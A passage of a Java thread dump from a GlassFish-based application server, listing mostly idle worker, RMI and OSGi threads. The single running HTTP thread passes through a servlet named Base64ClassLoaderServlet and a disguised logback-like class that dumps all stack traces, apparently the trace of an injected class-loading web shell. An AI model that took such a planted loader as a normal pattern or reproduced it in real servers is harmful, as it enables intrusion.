java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI RenewClean-[192.168.215.4:8686]" #98 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6cec7d8e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563) + at java.lang.Thread.run(Thread.java:748) + +"pool-20-thread-1" #138 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"SCR Component Actor" #118 daemon [WAITING] on java.util.LinkedList@fc92398 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:81) + at java.lang.Thread.run(Thread.java:748) + +"Blueprint Extender: 2" #124 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35930f1b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Abandoned connection cleanup thread" #141 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@56167e20 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at com.mysql.jdbc.AbandonedConnectionCleanupThread.run(AbandonedConnectionCleanupThread.java:43) + +"RunLevelControllerThread-1754837986901" #43 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@2c8730f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-43" #153 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6aa3e5aa + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-5-thread-1" #80 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-23" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-1-thread-1" #44 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@44cea720 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(1)" #70 daemon [WAITING] on java.lang.Object@63036a37 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@27b1d46c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"CM Configuration Updater" #99 daemon [WAITING] on java.util.LinkedList@4aebe14b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:748) + +"Gogo shell" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@cf8de6d + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-6-thread-1" #81 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@644df5c9 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837986898" #41 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@2c8730f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-1" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(4)" #56 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1610) + at ch.qos.logback.OGYSp.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:281) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1540) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:297) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:215) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:119) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:611) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:550) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:75) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:114) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:330) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:197) + at com.primeton.appserver.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:439) + at com.primeton.appserver.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:144) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:182) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:156) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:218) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:95) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:260) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:177) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:109) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:88) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:53) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:515) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:89) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:94) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.access$100(WorkerThreadIOStrategy.java:33) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:114) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2-kernel(1) SelectorRunner" #69 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"Thread-28" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-19" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c61ced + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.web.logger.FileLoggerHandler.log(FileLoggerHandler.java:82) + at com.sun.enterprise.web.logger.FileLoggerHandler.access$100(FileLoggerHandler.java:37) + at com.sun.enterprise.web.logger.FileLoggerHandler$1.run(FileLoggerHandler.java:63) + +"pool-14-thread-1" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@697a56ac + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Timer-1" #49 daemon [TIMED_WAITING] on java.util.TaskQueue@53afeb0d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"FelixResolver-10" #37 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-27-thread-1" #147 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #127 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-32-thread-1" #152 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837986898" #40 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@2c8730f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-2" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@437e5543 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"deployment-jar-scanner" #128 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@45e4e474 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DestroyJavaVM" #92 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"RMI TCP Connection(2)-192.168.215.4" #101 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$23/1704840731.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(4)" #66 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59fb67f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"pool-25-thread-1" #145 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(4)" #73 daemon [WAITING] on java.lang.Object@63036a37 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"pool-31-thread-1" #151 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-9" #36 daemon [TIMED_WAITING] on 